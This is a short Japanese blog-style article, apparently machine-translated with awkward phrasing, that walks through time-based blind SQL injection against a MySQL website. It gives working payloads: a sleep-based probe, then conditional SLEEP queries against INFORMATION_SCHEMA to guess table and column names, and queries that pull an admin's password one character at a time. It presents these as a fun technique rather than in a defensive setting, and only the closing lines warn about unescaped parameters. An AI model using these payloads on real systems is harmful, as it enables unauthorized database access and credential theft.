MySQL:ブラックボックスのハッキング

私たちは何について話しますか:パラメータの1つの「ちょうど」引用符がエスケープされていないウェブサイトを「ハッキング」 する楽しくて贅沢な方法。 この場合、プログラミング言語またはORMの側ですべてがシールドされていない理由についての議論をスキップします。



導入:単純なSELECTクエリでエスケープされたパラメーターの1つを持たないWebサイト。 同時に、すべてのエラーが傍受、処理され、控えめな「データなし」または「エラーが発生しました」が表示されます。



どうやら 、トラブルはそれほど大きくないようです 。 その中のデータを更新または変更するには、それをこすり、データが開かず、すべて「申し訳ありませんが、データがありません」-ブラックボックスになります。



しかし、この状況で実際にできることは何ですか?



即座にソルト:この手法は、リトマスとして使用するスリープ(N)関数に基づいています。 通常の生活でページがどれだけ「与えられた」かを測定します。 そして、フォームに存在するすべてのパラメーターの代わりに' OR sleep(10)



を入力した場合に、「与えられた」時間。 ページの再表示時間が長くなった場合-問題は帽子にかかっており、技術の問題だけです。



たとえば、INFORMATION_SCHEMAメタデータベースに基づいてテーブル名を選択します。これは常に存在し、誰でもアクセスできます。



' OR 1 = if((select count(*) from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=database() and TABLE_NAME='users') = 1, sleep(10), null)







ページの「戻り」時間が大幅に増加した場合-推測した場合、そうでない場合-より多くのオプション、通常最大10を試してみます。次に、フィールド名を「推測」します。



' OR 1 = if((select count(*) from INFORMATION_SCHEMA.columns where TABLE_SCHEMA=database() and TABLE_NAME='users' and COLUMN_NAME='login') = 1, sleep(5), null)







テーブルとフィールドの名前を知っていれば、ログイン、パスワードの長さを「拾い上げ」、さらにログインとパスワードを文字ごとに引き出すことができます。



if((select count(*) from users where login='admin') = 1, sleep(5), null)

if((select length(password) from users where login='admin') = 1, sleep(5), null)

select if((select mid(password, 5,1) from users where login='admin') = 'a', sleep(5), null)









バイナリパスワード検索では、文字ごとに8文字の要求のみが必要です。



はい、それほどハッキングではなく、データベースのブラインド構造、フィールド名(文字ごとに選択することもできます)、およびデータ自体を探索する楽しい方法です。



ところで、ページごとのナビゲーションを含む画面が必要です-メソッドは同じですが、UNION SELECT ...



このf話の教訓:最大の「申し訳ありませんが、エラー」がデータベース全体をマージできるため、唯一の回避不可能なパラメータでさえです。



このメモは、いずれかのサイトへのリクエストを分析し、それらを理解しようとする結果として生まれました。



データベースとしてのMySQLの劣等、およびデータシールドの「唯一の」方法に関しては、しないでください。



All Articles